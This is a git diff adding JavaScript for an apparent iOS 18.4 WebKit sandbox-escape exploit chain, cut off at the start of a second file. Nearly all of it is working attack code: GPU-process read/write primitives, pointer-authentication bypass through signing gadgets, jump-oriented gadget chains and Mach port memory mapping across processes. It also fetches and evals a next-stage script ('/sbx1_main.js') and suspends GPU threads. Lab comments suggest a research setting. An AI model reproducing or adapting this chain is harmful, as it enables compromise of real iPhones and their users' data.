gpu_slow_read64(resourceCacheMap + 0x50n); + gpu_slow_write64(font + 0x120n, x0); + gpu_slow_write64(font + 0x128n, 1n); + releaseFont(); + } + invoke(1n); + const paciza_invoker = gpu_slow_read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt); + LOG(`paciza_invoker: ${paciza_invoker.hex()}`); + const paciza_security_invoker_1 = gpu_slow_read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage); + LOG(`paciza_security_invoker_1: ${paciza_security_invoker_1.hex()}`); + const paciza_security_invoker_2 = gpu_slow_read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage); + LOG(`paciza_security_invoker_2: ${paciza_security_invoker_2.hex()}`); + const paciza_signPointer = gpu_slow_read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddExif); + LOG(`paciza_signPointer: ${paciza_signPointer.hex()}`); + gpu_slow_write64(offsets.Security__gSecurityd, gSecurityd); + gpu_slow_write64(offsets.WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType, paciza_invoker); + gpu_slow_write64(invoker_arg + 8n, invoker_x0); + gpu_slow_write64(slowFcallResult + 8n, slowFcallResult - 0x18n); + gpu_slow_write64(invoker_x0 + 0x20n, slowFcallResult); + let invoker_type = 0; + function gpu_slow_fcall_1(pc, x0 = 0n, x1 = 0n, x2 = 0n) { + if (invoker_type != 1) { + gpu_slow_write64(invoker_arg, paciza_security_invoker_1); + invoker_type = 1; + } + gpu_slow_write64(gSecurityd + 0x78n, pc); + gpu_slow_write64(invoker_x0 + 0x28n, x0); + gpu_slow_write64(invoker_x0 + 0x30n, x1); + gpu_slow_write64(invoker_x0 + 0x38n, x2); + gpu_slow_write64(slowFcallResult, 0n); + invoke(invoker_arg); + while (true) { + const result = gpu_slow_read64(slowFcallResult); + if (result) return result; + } + } + function gpu_slow_fcall_2(pc, x0 = -1n, x1 = -1n, x2 = -1n, x3 = -1n) { + if (invoker_type != 2) { + gpu_slow_write64(invoker_arg, paciza_security_invoker_2); + invoker_type = 2; + } + gpu_slow_write64(gSecurityd + 0xb8n, pc); + gpu_slow_write64(invoker_x0 + 0x28n, x0); + gpu_slow_write64(invoker_x0 + 0x30n, x1); + gpu_slow_write64(invoker_x0 + 0x38n, x2); + gpu_slow_write64(invoker_x0 + 0x40n, x3); + gpu_slow_write64(slowFcallResult, 71n); + invoke(invoker_arg); + while (true) { + const result = gpu_slow_read64(slowFcallResult); + if (result != 0x71n) return result; + } + } + function gpu_slow_pacia(ptr, ctx) { + gpu_slow_write64(signPointerSelf, 0x80010000_00000000n | ctx >> 48n << 32n); + return gpu_slow_fcall_1(paciza_signPointer, signPointerSelf, ctx, ptr); + } + function gpu_slow_pacib(ptr, ctx) { + gpu_slow_write64(signPointerSelf, 0x80030000_00000000n | ctx >> 48n << 32n); + return gpu_slow_fcall_1(paciza_signPointer, signPointerSelf, ctx, ptr); + } + const paciza_pthread_create = gpu_slow_pacia(offsets.pthread_create, 0n); + LOG(`paciza_pthread_create: ${paciza_pthread_create.hex()}`); + const paciza_malloc = gpu_slow_pacia(offsets.malloc, 0n); + LOG(`paciza_malloc: ${paciza_malloc.hex()}`); + const gadget_control_1 = offsets.gadget_control_1_ios184; + LOG(`gadget_control_1:${gadget_control_1.hex()}`); + const gadget_control_2 = offsets.gadget_control_2_ios184; + LOG(`gadget_control_2:${gadget_control_2.hex()}`); + const gadget_control_3 = offsets.gadget_control_3_ios184; + LOG(`gadget_control_3: ${gadget_control_3.hex()}`); + const gadget_loop_1 = offsets.gadget_loop_1_ios184; + LOG(`gadget_loop_1: ${gadget_loop_1.hex()}`); + const gadget_loop_2 = offsets.gadget_loop_2_ios184; + LOG(`gadget_loop_2: ${gadget_loop_2.hex()}`); + const gadget_loop_3 = offsets.gadget_loop_3_ios184; + LOG(`gadget_loop_3: ${gadget_loop_3.hex()}`); + const gadget_set_all_registers = offsets.gadget_set_all_registers_ios184; + LOG(`gadget_set_all_registers: ${gadget_set_all_registers.hex()}`); + const paciza_gadget_loop_1 = gpu_slow_pacia(gadget_loop_1, 0n); + LOG(`paciza_gadget_loop_1: ${paciza_gadget_loop_1.hex()}`); + const paciza_gadget_loop_2 = gpu_slow_pacia(gadget_loop_2, 0n); + LOG(`paciza_gadget_loop_2: ${paciza_gadget_loop_2.hex()}`); + const paciza_gadget_loop_3 = gpu_slow_pacia(gadget_loop_3, 0n); + LOG(`paciza_gadget_loop_3: ${paciza_gadget_loop_3.hex()}`); + const paciza_gadget_control_2 = gpu_slow_pacia(gadget_control_2, 0n); + LOG(`paciza_gadget_control_2: ${paciza_gadget_control_2.hex()}`); + const paciza_gadget_control_3 = gpu_slow_pacia(gadget_control_3, 0n); + LOG(`paciza_gadget_control_3: ${paciza_gadget_control_3.hex()}`); + const paciza_gadget_control_3_4 = gpu_slow_pacia(gadget_control_3 + 4n, 0n); + LOG(`paciza_gadget_control_3_4: ${paciza_gadget_control_3_4.hex()}`); + const paciza_gadget_set_all_registers = gpu_slow_pacia(gadget_set_all_registers, 0n); + LOG(`paciza_gadget_set_all_registers: ${paciza_gadget_set_all_registers.hex()}`); + let gpu_memory = gpu_slow_fcall_1(paciza_malloc, 0x4000n); + LOG(`gpu_memory: ${gpu_memory.hex()}`); + function allocate_gpu_memory(size) { + const res = gpu_memory; + gpu_memory += size; + return res; + } + const jop_thread = allocate_gpu_memory(0x10n); + const x0 = allocate_gpu_memory(0x20n); + const x19 = allocate_gpu_memory(0x500n); + const x22 = allocate_gpu_memory(0x20n); + const x20 = allocate_gpu_memory(0x30n); + gpu_slow_write64(x0 + 8n, paciza_gadget_loop_3); + gpu_slow_fcall_2(paciza_pthread_create, jop_thread, 0n, paciza_gadget_loop_3, x0); + LOG('GPU fcall thread has been spawned!!'); + print("[sbx0] stage5: GPU fcall thread spawned"); + const pthread_node = gpu_slow_read64(jop_thread); + LOG(`pthread_node: ${pthread_node.hex()}`); + const jop_stack_top = gpu_slow_read64(pthread_node + 0xb8n); + LOG(`jop_stack_top: ${jop_stack_top.hex()}`); + const jop_stack_bottom = jop_stack_top + 0x88000n; + LOG(`jop_stack_bottom: ${jop_stack_bottom.hex()}`); + const stack = jop_stack_top; + const paciza_gadget_control_1 = gpu_slow_pacia(gadget_control_1, 0n); + LOG(`paciza_gadget_control_1: ${paciza_gadget_control_1.hex()}`); + const pacib_gadget_loop_1_0x80020 = gpu_slow_pacib(gadget_loop_1, stack + 0x80020n); + LOG(`pacib_gadget_loop_1_0x80020: ${pacib_gadget_loop_1_0x80020.hex()}`); + const pacib_gadget_loop_1_0x800c0 = gpu_slow_pacib(gadget_loop_1, stack + 0x800c0n); + LOG(`pacib_gadget_loop_1_0x800c0: ${pacib_gadget_loop_1_0x800c0.hex()}`); + const pacib_gadget_loop_2_0x80010 = gpu_slow_pacib(gadget_loop_2, stack + 0x80010n); + LOG(`pacib_gadget_loop_2_0x80010: ${pacib_gadget_loop_2_0x80010.hex()}`); + const pacib_gadget_loop_2_0x800b0 = gpu_slow_pacib(gadget_loop_2, stack + 0x800b0n); + LOG(`pacib_gadget_loop_2_0x800b0: ${pacib_gadget_loop_2_0x800b0.hex()}`); + const MAGIC = 0x41424344n; + gpu_slow_write64(jop_stack_bottom - 0x4fa0n, stack + 0x80000n); + gpu_slow_write64(jop_stack_bottom - 0x4f98n, gpu_slow_pacib(gadget_loop_1, jop_stack_top + 0x83070n)); + gpu_slow_write64(jop_stack_bottom - 0x4fb0n, x20); + gpu_slow_write64(jop_stack_bottom - 0x4fa8n, x19); + gpu_slow_write64(jop_stack_bottom - 0x4fc0n, x22); + gpu_slow_write64(x19 + 0x20n, MAGIC); + gpu_slow_write64(x19, paciza_gadget_loop_1); + gpu_slow_write64(x0 + 8n, paciza_gadget_control_1); + while (gpu_slow_read64(x19 + 0x20n) === MAGIC); + gpu_slow_write64(stack + 0x80008n, pacib_gadget_loop_2_0x80010); + gpu_slow_write64(x19 + 8n, MAGIC); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_loop_2); + gpu_slow_write64(x19, paciza_gadget_control_2); + while (gpu_slow_read64(x19 + 8n) === MAGIC); + gpu_slow_write64(x20 + 0x20n, paciza_malloc); + gpu_slow_write64(x20 + 0x28n, 0n); + gpu_slow_write64(stack + 0x80018n, pacib_gadget_loop_1_0x80020); + gpu_slow_write64(x19 + 0x20n, MAGIC); + gpu_slow_write64(x19, paciza_gadget_loop_1); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_control_3); + while (gpu_slow_read64(x19 + 0x20n) === MAGIC); + gpu_slow_write64(stack + 0x800a8n, pacib_gadget_loop_2_0x800b0); + gpu_slow_write64(x19 + 8n, MAGIC); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_loop_2); + gpu_slow_write64(x19, paciza_gadget_set_all_registers); + while (gpu_slow_read64(x19 + 8n) === MAGIC); + gpu_slow_write64(stack + 0x800b0n, stack + 0x80000n); + gpu_slow_write64(stack + 0x800b8n, pacib_gadget_loop_1_0x800c0); + gpu_slow_write64(x19 + 0x20n, MAGIC); + gpu_slow_write64(x19, paciza_gadget_loop_1); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_control_3_4); + while (gpu_slow_read64(x19 + 0x20n) === MAGIC); + const cache = new Map(); + const signPointer = paciza_signPointer.noPAC(); + cache.set(signPointer, paciza_signPointer); + function gpu_slow_fcall(pc, ...args) { + if (!cache.has(pc)) { + cache.set(pc, gpu_slow_pacia(pc, 0n)); + } + const signed_pc = cache.get(pc); + gpu_slow_write64(stack + 0x80008n, pacib_gadget_loop_2_0x80010); + gpu_slow_write64(x19 + 8n, MAGIC); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_loop_2); + gpu_slow_write64(x19, paciza_gadget_control_2); + while (gpu_slow_read64(x19 + 8n) === MAGIC); + gpu_slow_write64(x20 + 0x20n, signed_pc); + gpu_slow_write64(x20 + 0x28n, 0n); + gpu_slow_write64(stack + 0x80018n, pacib_gadget_loop_1_0x80020); + gpu_slow_write64(x19 + 0x20n, MAGIC); + gpu_slow_write64(x19, paciza_gadget_loop_1); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_control_3); + while (gpu_slow_read64(x19 + 0x20n) === MAGIC); + for (let i = 0n; i < args.length && i < 8n; ++i) { + gpu_slow_write64(stack + 0x80098n - i * 8n, args[i]); + } + for (let i = 8n; i < args.length; ++i) { + gpu_slow_write64(stack + 0x80070n + i * 8n, args[i]); + } + gpu_slow_write64(stack + 0x800a8n, pacib_gadget_loop_2_0x800b0); + gpu_slow_write64(x19 + 8n, MAGIC); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_loop_2); + gpu_slow_write64(x19, paciza_gadget_set_all_registers); + while (gpu_slow_read64(x19 + 8n) === MAGIC); + gpu_slow_write64(stack + 0x800b0n, stack + 0x80000n); + gpu_slow_write64(stack + 0x800b8n, pacib_gadget_loop_1_0x800c0); + gpu_slow_write64(x19 + 0x20n, MAGIC); + gpu_slow_write64(x19, paciza_gadget_loop_1); + gpu_slow_write64(x20 + 0x10n, paciza_gadget_control_3_4); + while (true) { + const result = gpu_slow_read64(x19 + 0x20n); + if (result !== MAGIC) { + return result; + } + } + } + const gpu_connection = gpu_slow_read64(myWebProcessConnection + 0x38n); + LOG(`gpu_connection: ${gpu_connection.hex()} `); + const gpu_sendPort = gpu_slow_read32(gpu_connection + 0x138n); + LOG(`gpu_sendPort: ${gpu_sendPort.hex()} `); + const gpu_receiveBufferDataPointer = allocate_gpu_memory(receiveBufferSizeAsBigInt); + LOG(`gpu_receiveBufferDataPointer: ${gpu_receiveBufferDataPointer.hex()} `); + const scratchPad = allocate_gpu_memory(0x100n); + LOG(`scratchPad: ${scratchPad.hex()} `); + class GPURemoteConnection { + setSendPort(sendPort) { + this.sendPort = sendPort; + } + createReceivePort() { + let kr = gpu_slow_fcall(offsets.mach_port_allocate, __mach_task_self, 1n, scratchPad + 0x10n); + ASSERT(!kr, "createReceivePort.mach_port_allocate has been failed"); + this.receivePort = gpu_slow_read32(scratchPad + 0x10n); + LOG(`this.receivePort: ${this.receivePort.hex()} `); + kr = gpu_slow_fcall(offsets.mach_port_insert_right, __mach_task_self, this.receivePort, this.receivePort, 0x14n); + ASSERT(!kr, "createReceivePort.mach_port_insert_right has been failed"); + } + sendMessage(encoder, attachments = []) { + const buffer = encoder.buffer(); + const numberOfPortDescriptors = attachments.length; + let messageBodyIsOOL = false; + let messageSize = MachMessage.messageSize(buffer.byteLength, numberOfPortDescriptors, messageBodyIsOOL); + if (messageSize > inlineMessageMaxSize) { + messageBodyIsOOL = true; + messageSize = MachMessage.messageSize(0, numberOfPortDescriptors, messageBodyIsOOL); + } + const isComplex = numberOfPortDescriptors || messageBodyIsOOL; + const message = new ArrayBuffer(messageSize); + const view = new DataView(message); + view.setUint32(0, isComplex ? 0x80000013 : 0x13, true); + view.setUint32(4, messageSize, true); + view.setUint32(8, Number(gpu_sendPort), true); + view.setUint32(0x14, messageBodyIsOOL ? outOfLineBodyMessageID : inlineBodyMessageID, true); + let messageOffset = 0x18; + if (isComplex) { + view.setUint32(messageOffset, numberOfPortDescriptors + messageBodyIsOOL, true); + messageOffset += 4; + for (const attachment of attachments) { + view.setUint32(messageOffset, Number(attachment), true); + view.setUint32(messageOffset + 4, MACH_MSG_PORT_DESCRIPTOR, true); + view.setUint32(messageOffset + 8, MACH_MSG_TYPE_MOVE_SEND << 16, true); + messageOffset += sizeof_mach_msg_port_descriptor_t; + } + if (messageBodyIsOOL) { + view.setBigUint64(messageOffset, buffer.data(), true); + view.setUint32(messageOffset + 8, 0x1000100, true); + view.setUint32(messageOffset + 0xc, buffer.byteLength, true); + messageOffset += sizeof_mach_msg_ool_descriptor_t; + } + } + if (!messageBodyIsOOL) { + const buffer_u8 = new Uint8Array(buffer); + const message_u8 = new Uint8Array(message); + for (let i = 0; i < buffer_u8.byteLength; ++i) { + message_u8[messageOffset + i] = buffer_u8[i]; + } + } + const message_u8 = new Uint8Array(message); + const message_ptr = allocate_gpu_memory(BigInt(message.byteLength)); + copy_to_gpu(message_ptr, message_u8); + return gpu_slow_fcall(offsets.mach_msg_fn, message_ptr, 145n, BigInt(messageSize), 0n, 0n, 0n, 0n); + } + receiveMemoryPort() { + let port; + const kr = gpu_slow_fcall(offsets.mach_msg_fn, gpu_receiveBufferDataPointer, 0x906n, 0n, receiveBufferSizeAsBigInt, this.receivePort, 5000n, 0n); + if (kr == KERN_SUCCESS) { + const buffer = copy_from_gpu(gpu_receiveBufferDataPointer, 0x40n); + const bufferU32 = new Uint32Array(buffer); + port = BigInt(bufferU32[7]); + } else if (kr == 0x10004003n) { + ASSERT_NOT_REACHED("[!] mach_msg(): process not responding"); + } else { + ASSERT_NOT_REACHED(`maybe gpu dead(code: ${kr.hex()})`); + } + ASSERT(port, "Could not receive port"); + return port; + } + } + ; + const remoteConnection = new GPURemoteConnection(); + remoteConnection.createReceivePort(); + let kr = remoteConnection.sendMessage(new Encoder(0x1337, 0n), [remoteConnection.receivePort]); + ASSERT(!kr, "remoteConnection.sendMessage has been failed"); + const secondarySendPort = (() => { + const decoder = gpuConnection.receiveMessage(0x1337); + return decoder.attachments[0]; + })(); + const secondaryConnection = new Connection(); + secondaryConnection.setSendPort(secondarySendPort); + secondaryConnection.createReceivePort(); + { + const sizeBuffer = new BigUint64Array(2); + sizeBuffer[0] = 0x88000n; + const sizeBufferDataPointer = sizeBuffer.data(); + let fakeStackDataPointer = 0n; + let memory = 0n; + while (1) { + let next_ptr = 0n; + while (1) { + const ab = new ArrayBuffer(0x6000); + next_ptr = ab.data() + 0x6000n; + if (next_ptr == (next_ptr & ~0x3fffn)) { + break; + } + } + memory = new ArrayBuffer(0x88000); + fakeStackDataPointer = memory.data(); + if (fakeStackDataPointer == (fakeStackDataPointer & ~0x3fffn)) break; + LOG(`fakeStack not aligned:${fakeStackDataPointer.hex()}, continue searching`); + } + ASSERT(fakeStackDataPointer == (fakeStackDataPointer & ~0x3fffn), "fakeStack is not page aligned"); + kr = fcall(offsets.mach_make_memory_entry_64_fn, __mach_task_self, sizeBufferDataPointer, fakeStackDataPointer, 3n, sizeBufferDataPointer + 8n, 0n); + ASSERT(!kr, "mach_make_memory_entry_64 has failed"); + const memPort = sizeBuffer[1]; + LOG(`memPort: ${memPort.hex()} `); + kr = secondaryConnection.sendMessage(new Encoder(0x1338, 0n), [memPort]); + ASSERT(!kr, "secondaryConnection.sendMessage has failed"); + const gpu_memPort = remoteConnection.receiveMemoryPort(); + LOG(`gpu_memPort: ${gpu_memPort.hex()} `); + const VM_FLAGS_ANYWHERE = 1n; + const VM_INHERIT_NONE = 2n; + gpu_slow_write64(gpu_receiveBufferDataPointer, 0n); + print("[sbx0] stage5b: mach_vm_map cross-process"); + LOG('going to mach_vm_map'); + LOG(`gpu_receiveBufferDataPointer: ${gpu_receiveBufferDataPointer.hex()}`); + kr = gpu_slow_fcall(offsets.mach_vm_map_fn, __mach_task_self, gpu_receiveBufferDataPointer, 0x88000n, 0n, VM_FLAGS_ANYWHERE, gpu_memPort, 0n, 0n, (3n << 32n) + 3n, VM_INHERIT_NONE); + ASSERT(!kr, "mach_vm_map has failed"); + const gpu_memory = gpu_slow_read64(gpu_receiveBufferDataPointer); + LOG(`gpu_memory: ${gpu_memory.hex()} `); + const x0_off = 0; + const x19_off = x0_off + 0x20; + const x20_off = x19_off + 0x410; + const x22_off = x20_off + 0x30; + const scratchpad_off = x22_off + 0x20; + const fast_x0 = gpu_memory + BigInt(x0_off); + const fast_x19 = gpu_memory + BigInt(x19_off); + const fast_x20 = gpu_memory + BigInt(x20_off); + const fast_scratchpad = gpu_memory + BigInt(scratchpad_off); + const gpu_stack = gpu_memory; + const x0_u64 = new BigUint64Array(memory, x0_off); + const x19_f64 = new Float64Array(memory, x19_off); + const x19_u64 = new BigUint64Array(memory, x19_off); + const x20_u64 = new BigUint64Array(memory, x20_off); + const fast_scratchpad_u64 = new BigUint64Array(memory, scratchpad_off); + const fast_scratchpad_u8 = new Uint8Array(memory, scratchpad_off); + const stack_u64 = new BigUint64Array(memory); + const wp_fast_scratchpad = fast_scratchpad_u64.data(); + x0_u64[1] = paciza_gadget_loop_3; + const pacib_gadget_loop_1_0x80020 = gpu_slow_pacib(gadget_loop_1, gpu_stack + 0x80020n); + const pacib_gadget_loop_1_0x800c0 = gpu_slow_pacib(gadget_loop_1, gpu_stack + 0x800c0n); + const pacib_gadget_loop_2_0x80010 = gpu_slow_pacib(gadget_loop_2, gpu_stack + 0x80010n); + const pacib_gadget_loop_2_0x800b0 = gpu_slow_pacib(gadget_loop_2, gpu_stack + 0x800b0n); + gpu_slow_write64(jop_stack_top + 0x800c0n, 0x29n); + gpu_slow_write64(jop_stack_top + 0x800c8n, gpu_slow_pacib(gadget_loop_3, jop_stack_top + 0x800d0n)); + gpu_slow_write64(x20 + 0x20n, fast_x0); + gpu_slow_write64(x19, paciza_gadget_control_3); + gpu_slow_write64(jop_stack_top + 0x80160n, gpu_stack + 0x80000n); + gpu_slow_write64(jop_stack_top + 0x80168n, gpu_slow_pacib(gadget_loop_1, jop_stack_top + 0x80170n)); + gpu_slow_write64(jop_stack_top + 0x80150n, fast_x20); + gpu_slow_write64(jop_stack_top + 0x80158n, fast_x19); + const MAGIC = 1.1; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x0_u64[8 / 8] = paciza_gadget_control_1; + while (x19_f64[0x20 / 8] == MAGIC); + stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + x19_u64[0 / 8] = paciza_gadget_control_2; + while (x19_f64[8 / 8] == MAGIC); + x20_u64[0x20 / 8] = paciza_malloc; + x20_u64[0x28 / 8] = 0n; + stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x20_u64[0x10 / 8] = paciza_gadget_control_3; + while (x19_f64[0x20 / 8] === MAGIC); + stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + x19_u64[0 / 8] = paciza_gadget_set_all_registers; + while (x19_f64[8 / 8] === MAGIC); + stack_u64[0x800b0 / 8] = gpu_stack + 0x80000n; + stack_u64[0x800b8 / 8] = pacib_gadget_loop_1_0x800c0; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x20_u64[0x10 / 8] = paciza_gadget_control_3_4; + while (x19_f64[0x20 / 8] === MAGIC); + function gpu_pacia0(ptr, ctx) { + gpu_slow_write64(signPointerSelf, 0x80010000_00000000n | ctx >> 48n << 32n); + return gpu_fcall(signPointer, signPointerSelf, ctx, ptr); + } + function gpu_fcall(pc, ...args) { + if (!cache.has(pc)) { + cache.set(pc, gpu_pacia(pc.noPAC(), 0n)); + } + const signed_pc = cache.get(pc); + stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + performance.now(); + x19_u64[0 / 8] = paciza_gadget_control_2; + while (x19_f64[8 / 8] === MAGIC); + x20_u64[0x20 / 8] = signed_pc; + x20_u64[0x28 / 8] = 0n; + stack_u64[0x80018 / 8] = pacib_gadget_loop_1_0x80020; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + performance.now(); + x20_u64[0x10 / 8] = paciza_gadget_control_3; + while (x19_f64[0x20 / 8] === MAGIC); + for (let i = 0; i < args.length && i < 8; ++i) { + stack_u64[0x80098 / 8 - i] = args[i]; + } + for (let i = 8; i < args.length; ++i) { + stack_u64[0x80070 / 8 + i] = args[i]; + } + stack_u64[0x800a8 / 8] = pacib_gadget_loop_2_0x800b0; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + performance.now(); + x19_u64[0 / 8] = paciza_gadget_set_all_registers; + while (x19_f64[8 / 8] === MAGIC); + stack_u64[0x800b0 / 8] = gpu_stack + 0x80000n; + stack_u64[0x800b8 / 8] = pacib_gadget_loop_1_0x800c0; + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + performance.now(); + x20_u64[0x10 / 8] = paciza_gadget_control_3_4; + while (x19_f64[0x20 / 8] === MAGIC); + return x19_u64[0x20 / 8]; + } + cache.set(offsets.memcpy, gpu_pacia0(offsets.memcpy, 0n)); + function gpu_read64(addr) { + gpu_fcall(offsets.memcpy, fast_scratchpad, addr, 8n); + return fast_scratchpad_u64[0]; + } + function gpu_write64(addr, value) { + fast_scratchpad_u64[0] = value; + gpu_fcall(offsets.memcpy, addr, fast_scratchpad, 8n); + } + function gpu_pacia(ptr, ctx) { + gpu_write64(signPointerSelf, 0x80010000_00000000n | ctx >> 48n << 32n); + return gpu_fcall(signPointer, signPointerSelf, ctx, ptr); + } + function gpu_pacib(ptr, ctx) { + gpu_write64(signPointerSelf, 0x80030000_00000000n | ctx >> 48n << 32n); + return gpu_fcall(signPointer, signPointerSelf, ctx, ptr); + } + cache.set(offsets.malloc, gpu_pacia(offsets.malloc, 0n)); + function gpu_fcall_close() { + x19_u64[0 / 8] = gpu_pacia(offsets.pthread_exit, 0n); + } + function gpu_copy_buffer(ptr, size) { + const chunk = gpu_fcall(offsets.malloc, size); + let dst = chunk; + while (size > 0n) { + let cp_sz = size; + if (cp_sz > 0x40000n) { + cp_sz = 0x40000n; + } + fcall(offsets.memcpy, wp_fast_scratchpad, ptr, cp_sz); + gpu_fcall(offsets.memcpy, dst, fast_scratchpad, cp_sz); + size -= cp_sz; + dst += cp_sz; + ptr += cp_sz; + } + return chunk; + } + function gpu_fcall_enable_sleep() {} + function gpu_fcall_disable_sleep() {} + LOG(`going to suspend the spinners in the GPU`); + const backend2_thread_port = gpu_read64(backend2_processingThread + 0x34n) & 0xffffffffn; + LOG(`backend2_thread_port: ${backend2_thread_port.hex()}`); + const backend3_thread_port = gpu_read64(backend3_processingThread + 0x34n) & 0xffffffffn; + LOG(`backend3_thread_port: ${backend3_thread_port.hex()}`); + LOG(`gpu scratchpad: ${fast_scratchpad.hex()}`); + LOG(`wc scratchpad: ${fast_scratchpad_u8.data().hex()}`); + gpu_fcall(offsets.libsystem_kernel__thread_suspend, backend2_thread_port); + gpu_fcall(offsets.libsystem_kernel__thread_suspend, backend3_thread_port); + const gpu_dlsym_buffer = gpu_fcall(offsets.malloc, 0x80n); + function gpu_dlsym(handle, symbol) { + const aligned_size = symbol.length + 8 & ~7; + const buffer = new ArrayBuffer(aligned_size); + const u8 = new Uint8Array(buffer); + const u64 = new BigUint64Array(buffer); + for (let i = 0; i < symbol.length; ++i) { + u8[i] = symbol.charCodeAt(i); + } + for (let i = 0; i < u64.length; ++i) { + fast_scratchpad_u64[i] = u64[i]; + } + gpu_fcall(offsets.memcpy, gpu_dlsym_buffer, fast_scratchpad, BigInt(aligned_size)); + return gpu_fcall(offsets.libdyld__dlsym, handle, gpu_dlsym_buffer); + } + for (let i = 0; i < renderingBackendConnections.length; ++i) { + const renderingBackendConnection = renderingBackendConnections[i]; + while (renderingBackendConnection.tryConsumeMessage()); + } + while (firstGpuConnection.tryConsumeMessage()); + while (gpuConnection.tryConsumeMessage()); + const sbx0_pac_end = Date.now(); + log(`[profiler] sbx0 (pac) took ${sbx0_pac_end - sbx0_pac_begin} ms`); + LOG(`[+] SBX0 complete`); + print("[sbx0] stage6: SBX0 COMPLETE! loading sbx1..."); + try { + const gpuRead64 = gpu_read64; + const gpuWrite64 = gpu_write64; + const gpuFcall = gpu_fcall; + const gpuDlsym = gpu_dlsym; + const gpuPaciza = function (ptr) { + return gpu_pacia(ptr, 0n); + }; + const gpuPacia = gpu_pacia; + const gpuPacib = gpu_pacib; + const gpuCopyBuffer = gpu_copy_buffer; + const gpuFcallEnableSleep = gpu_fcall_enable_sleep; + const gpuFcallDisableSleep = gpu_fcall_disable_sleep; + const addrof = p.addrof; + const sc_slide = p.slide; + print("[sbx0] stage7: fetching sbx1_main.js"); + const sbx1_script = getJS('/sbx1_main.js'); + print("[sbx0] stage7: sbx1 fetched, eval start"); + eval(sbx1_script); + LOG('Restore bmalloc metadata after emptyString Corruption'); + gpu_write64(offsets.emptyString + 0x68n, 0x300000005n); + gpu_write64(offsets.emptyString + 0x70n, 0x100000080n); + gpu_write64(offsets.emptyString + 0x78n, 0n); + gpu_write64(offsets.emptyString + 0x80n, 0x1200000001n); + sbx1_end = Date.now(); + log(`[profiler] sbx1 took ${sbx1_end - sbx0_pac_end} ms`); + LOG(`[+] SBX1 complete`); + print("[sbx0] stage8: SBX1 COMPLETE! chain success"); + LOG('Invalidate backend connection from gpu process side'); + const remoteRenderingBackendMap = gpu_read64(myWebProcessConnection + 0xe8n); + LOG(`remoteRenderingBackendMap: ${remoteRenderingBackendMap.hex()} `); + const remoteGraphicsContextGLMap = gpu_read64(myWebProcessConnection + 0xf0n); + LOG(`remoteGraphicsContextGLMap: ${remoteGraphicsContextGLMap.hex()} `); + gpu_write64(myWebProcessConnection + 0xe8n, 0n); + gpu_write64(myWebProcessConnection + 0xf0n, 0n); + LOG('Invalidated'); + // Lab: do NOT call _exit() — it kills WebContent and Safari reloads the tab. + LOG('skip _exit (keep WebContent alive, no page reload)'); + print('[sbx0] stage8: skip _exit — WC stays alive'); + try { gpu_fcall_close(); } catch (_) {} + } catch (e) { + print("[sbx0] ERROR in sbx1 block: " + e); + LOG(`${e} `); + LOG(btoa(e)); + } + } + })(); +})(); diff --git a/channel-builder-ds/source/sbx0_main_18.4.js b/channel-builder-ds/source/sbx0_main_18.4.js new file mode 100644 index 0000000..9656345 --- /dev/null +++ b/channel-builder-ds/source/sbx0_main_18.4.js @@ -0,0 +1,9517 @@ + +function __labResolveOffsetKey(table, device_model) { + try { + if (table && device_model && table[device_model]) return device_model; + var dm = String(device_model || ""); + if (!table || !dm) return device_model; + if (table[dm]) return dm; + var keys = Object.keys(table); + // Exact build suffix match with sibling prefix (13,3 -> 13,2_3, etc.) + var build = ""; + var mBuild = dm.match(/_(22[A-Z0-9]+)$/); + if (mBuild) build = mBuild[1]; + var machine = dm.split("_")[0]; + var aliases = []; + if (machine === "iPhone13,3") aliases.push("iPhone13,2_3_" + build); + if (machine === "iPhone12,5") aliases.push("iPhone12,3_5_" + build); + if (machine === "iPhone11,4" || machine === "iPhone11,6") aliases.push("iPhone11,2_4_6_" + build); + if (machine === "iPhone13,2") aliases.push("iPhone13,2_3_" + build); + if (machine === "iPhone12,3") aliases.push("iPhone12,3_5_" + build); + if (machine === "iPhone11,2") aliases.push("iPhone11,2_4_6_" + build); + for (var ai = 0; ai < aliases.length; ai++) { + if (aliases[ai] && table[aliases[ai]]) return aliases[ai]; + } + // Same machine prefix + same build + if (build) { + for (var i = 0; i < keys.length; i++) { + var k = keys[i]; + if (k.indexOf(machine) === 0 && k.lastIndexOf(build) === k.length - build.length) return k; + } + // Same build, same major generation (iPhone13,*) + var gen = machine.split(",")[0]; + for (var j = 0; j < keys.length; j++) { + var k2 = keys[j]; + if (k2.indexOf(gen + ",") === 0 && k2.lastIndexOf(build) === k2.length - build.length) return k2; + } + } + // Prefix startsWith + for (var n = 0; n < keys.length; n++) { + if (keys[n].indexOf(machine) === 0) return keys[n]; + } + } catch (e) {} + return device_model; +} + +(() => { + const { + write8, + read32, + read64, + write64, + dlopen, + dlsym, + device_model, + chipset + } = p; + const libsystem_kernel = 